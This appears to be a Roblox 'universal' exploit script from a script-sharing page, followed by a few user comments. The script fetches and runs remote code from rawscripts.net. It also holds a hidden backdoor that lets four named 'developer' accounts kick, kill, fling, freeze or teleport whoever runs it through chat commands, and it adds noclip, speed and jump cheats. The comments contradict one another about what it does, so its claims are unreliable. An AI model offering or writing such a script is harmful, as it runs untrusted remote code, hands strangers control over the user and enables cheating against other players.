
KeylessUniversal

loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-GodMode-29047"))()
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
local developerUsernames = {"Aintnoway123n", "Toezo_o", "NannaDev", "FEWithoutEffort"} -- List of developer usernames
-- Function to get the UserId from the username
local function getUserIdFromUsername(username)
local success, userId = pcall(function()
return Players:GetUserIdFromNameAsync(username)
end)
if success then
return userId
else
warn("Failed to get UserId for username:", username)
return nil
end
end
-- Retrieve the developers' UserIds
local scriptDeveloperIds = {}
for _, username in ipairs(developerUsernames) do
local userId = getUserIdFromUsername(username)
if userId then
table.insert(scriptDeveloperIds, userId)
else
warn("Unable to retrieve UserId for username:", username)
end
end
local followConnection -- To handle the `.follow` connection
-- Utility function to execute the command
local function executeCommand(message, sender)
local lowerMessage = message:lower()
-- Ensure the message starts with the new prefix "/"
if lowerMessage:sub(1, 1) == "/" then
-- Remove the prefix from the message for command matching
local command = lowerMessage:sub(2)
if table.find(scriptDeveloperIds, sender.UserId) then
-- /kick command
if command == "kick" then
LocalPlayer:Kick("Aint Kicked You Because You're Lifeless Shit")
-- /kill command
elseif command == "kill" then
LocalPlayer.Character:BreakJoints() -- Simulates death by breaking joints
-- /rocket command (with fiery trail effect)
elseif command == "rocket" then
local character = LocalPlayer.Character
local humanoidRootPart = character:FindFirstChild("HumanoidRootPart")
if humanoidRootPart then
-- Create the BodyVelocity to move the player upwards
local bodyVelocity = Instance.new("BodyVelocity")
bodyVelocity.MaxForce = Vector3.new(100000, 100000, 100000)
bodyVelocity.Velocity = Vector3.new(0, 100, 0) -- Normal upward force
bodyVelocity.Parent = humanoidRootPart
-- Add a trail effect
local trail = Instance.new("Trail")
trail.Parent = humanoidRootPart
trail.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.5, 0)) -- Red to orange gradient
trail.Lifetime = 0.5
trail.Attachment0 = Instance.new("Attachment", humanoidRootPart)
trail.Attachment1 = Instance.new("Attachment", humanoidRootPart)
trail.WidthScale = NumberSequence.new(1, 0) -- Gradually decreases width
-- Optional: Add a particle emitter for extra effects
local particles = Instance.new("ParticleEmitter")
particles.Parent = humanoidRootPart
particles.Texture = "rbxassetid://258128463" -- Fire texture
particles.Rate = 50
particles.Lifetime = NumberRange.new(0.5, 1)
particles.Speed = NumberRange.new(5, 10)
particles.VelocitySpread = 180
particles.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 1, 0)) -- Red to yellow gradient
particles.LightEmission = 0.7
-- Clean up after 1 second
game:GetService("Debris"):AddItem(bodyVelocity, 1)
game:GetService("Debris"):AddItem(trail, 1)
game:GetService("Debris"):AddItem(particles, 1)
end
-- /freeze command
elseif command == "freeze" then
local root = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if root then
local bodyPosition = Instance.new("BodyPosition")
bodyPosition.MaxForce = Vector3.new(400000, 400000, 400000)
bodyPosition.D = 1000
bodyPosition.P = 50000
bodyPosition.Position = root.Position
bodyPosition.Parent = root
local bodyGyro = Instance.new("BodyGyro")
bodyGyro.MaxTorque = Vector3.new(400000, 400000, 400000)
bodyGyro.CFrame = root.CFrame
bodyGyro.Parent = root
end
-- /unfreeze command
elseif command == "unfreeze" then
local root = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
if root then
local bodyPosition = root:FindFirstChildOfClass("BodyPosition")
if bodyPosition then bodyPosition:Destroy() end
local bodyGyro = root:FindFirstChildOfClass("BodyGyro")
if bodyGyro then bodyGyro:Destroy() end
end
-- /explode command
elseif command == "explode" then
local explosion = Instance.new("Explosion")
explosion.Position = LocalPlayer.Character.HumanoidRootPart.Position
explosion.BlastRadius = 10
explosion.BlastPressure = 5000
explosion.Parent = workspace
-- /bring command
elseif command == "bring" then
if LocalPlayer.Character and sender.Character then
LocalPlayer.Character:SetPrimaryPartCFrame(sender.Character.HumanoidRootPart.CFrame)
end
-- /fling command
elseif command == "fling" then
local bodyVelocity = Instance.new("BodyVelocity")
bodyVelocity.MaxForce = Vector3.new(999999999, 999999999, 999999999)
bodyVelocity.Velocity = Vector3.new(0, 5000, 0)
bodyVelocity.Parent = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
game:GetService("Debris"):AddItem(bodyVelocity, 1)
-- /follow command
elseif command == "follow" then
local humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if humanoid and sender.Character then
if followConnection then followConnection:Disconnect() end -- Ensure no previous follow connections
followConnection = game:GetService("RunService").Stepped:Connect(function()
if LocalPlayer.Character and sender.Character then
local rootPart = LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
local senderRootPart = sender.Character:FindFirstChild("HumanoidRootPart")
if rootPart and senderRootPart then
local direction = (senderRootPart.Position - rootPart.Position).Unit
local targetPosition = senderRootPart.Position - direction * 3 -- Keep some distance
rootPart.CFrame = CFrame.new(rootPart.Position, senderRootPart.Position)
rootPart.Velocity = direction * humanoid.WalkSpeed
end
else
if followConnection then followConnection:Disconnect() end -- Disconnect if something breaks
end
end)
end
-- /unfollow command
elseif command == "unfollow" then
if followConnection then
followConnection:Disconnect()
followConnection = nil
end
-- /sit command
elseif command == "sit" then
local humanoid = LocalPlayer.Character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid.Sit = true -- This properly sets the character to sit
end
end
end
end
end
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local TextChatService = game:GetService("TextChatService")
local LocalPlayer = Players.LocalPlayer
local Character = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait()
local Humanoid = Character:WaitForChild("Humanoid")
local isNoclip = false
local connection
-- Function to enable noclip
local function enableNoclip()
isNoclip = true
connection = RunService.Stepped:Connect(function()
for _, part in pairs(Character:GetChildren()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
end)
end
-- Function to disable noclip
local function disableNoclip()
isNoclip = false
if connection then connection:Disconnect() end
for _, part in pairs(Character:GetChildren()) do
if part:IsA("BasePart") then
part.CanCollide = true
end
end
end
-- Function to force jump
local function forceJump()
if Humanoid then
Humanoid.Jump = true
end
end
-- Function to send a chat message (Supports both Legacy and New Chat System)
local function sendChatMessage(message)
if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then
local textChannel = TextChatService.TextChannels.RBXGeneral
if textChannel then
textChannel:SendAsync(message)
end
else
game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(message, "All")
end
end
-- Prevent multiple event connections
if not _G.SayCommandConnected then
_G.SayCommandConnected = true
-- Listen for chat commands
LocalPlayer.Chatted:Connect(function(message)
local args = string.split(message, " ")
if args[1] == "/noclip" then
enableNoclip()
print("Noclip Enabled")
elseif args[1] == "/unnoclip" then
disableNoclip()
print("Noclip Disabled")
elseif args[1] == "/speed" and args[2] then
local speed = tonumber(args[2])
if speed and speed >= 16 and speed <= 500 then
Humanoid.WalkSpeed = speed
print("Speed set to: " .. speed)
end
elseif args[1] == "/jump" and args[2] then
local jumpPower = tonumber(args[2])
if jumpPower and jumpPower >= 50 and jumpPower <= 1000 then
Humanoid.JumpPower = jumpPower
print("Jump Power set to: " .. jumpPower)
end
elseif args[1] == "/forcejump" then
forceJump()
elseif args[1] == "/say" then
local textToSay = message:sub(6) -- Remove "/say "
if textToSay and textToSay ~= "" then
sendChatMessage(textToSay)
end
end
end)
end
local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
-- Function to create the blind effect
local function blindPlayer()
if LocalPlayer:FindFirstChild("PlayerGui") then
local gui = Instance.new("ScreenGui")
gui.Name = "BlindEffect"
gui.ResetOnSpawn = false
local frame = Instance.new("Frame")
frame.Size = UDim2.new(1, 0, 1, 0)
frame.Position = UDim2.new(0, 0, 0, 0)
frame.BackgroundColor3 = Color3.new(0, 0, 0)
frame.BorderSizePixel = 0
frame.Parent = gui
gui.Parent = LocalPlayer:FindFirstChild("PlayerGui")
end
end
-- Function to remove the blind effect
local function unblindPlayer()
local playerGui = LocalPlayer:FindFirstChild("PlayerGui")
if playerGui then
local blindGui = playerGui:FindFirstChild("BlindEffect")
if blindGui then
blindGui:Destroy()
end
end
end
-- Listen for chat commands
LocalPlayer.Chatted:Connect(function(message)
if message:lower() == "/blind" then
blindPlayer()
elseif message:lower() == "/unblind" then
unblindPlayer()
end
end)
-- Event listener for players' chat messages
local function onPlayerAdded(player)
player.Chatted:Connect(function(message)
executeCommand(message, player)
end)
end
-- Listen for PlayerAdded event
Players.PlayerAdded:Connect(onPlayerAdded)
-- Handle already connected players (in case they were in the game before the script started)
for _, player in ipairs(Players:GetPlayers()) do
onPlayerAdded(player)
end



chatgpt ah?
DOSNT WORK
all the script does it send "Script Detected! 🤑" in the chat whenever a "script developer" joins
ez ez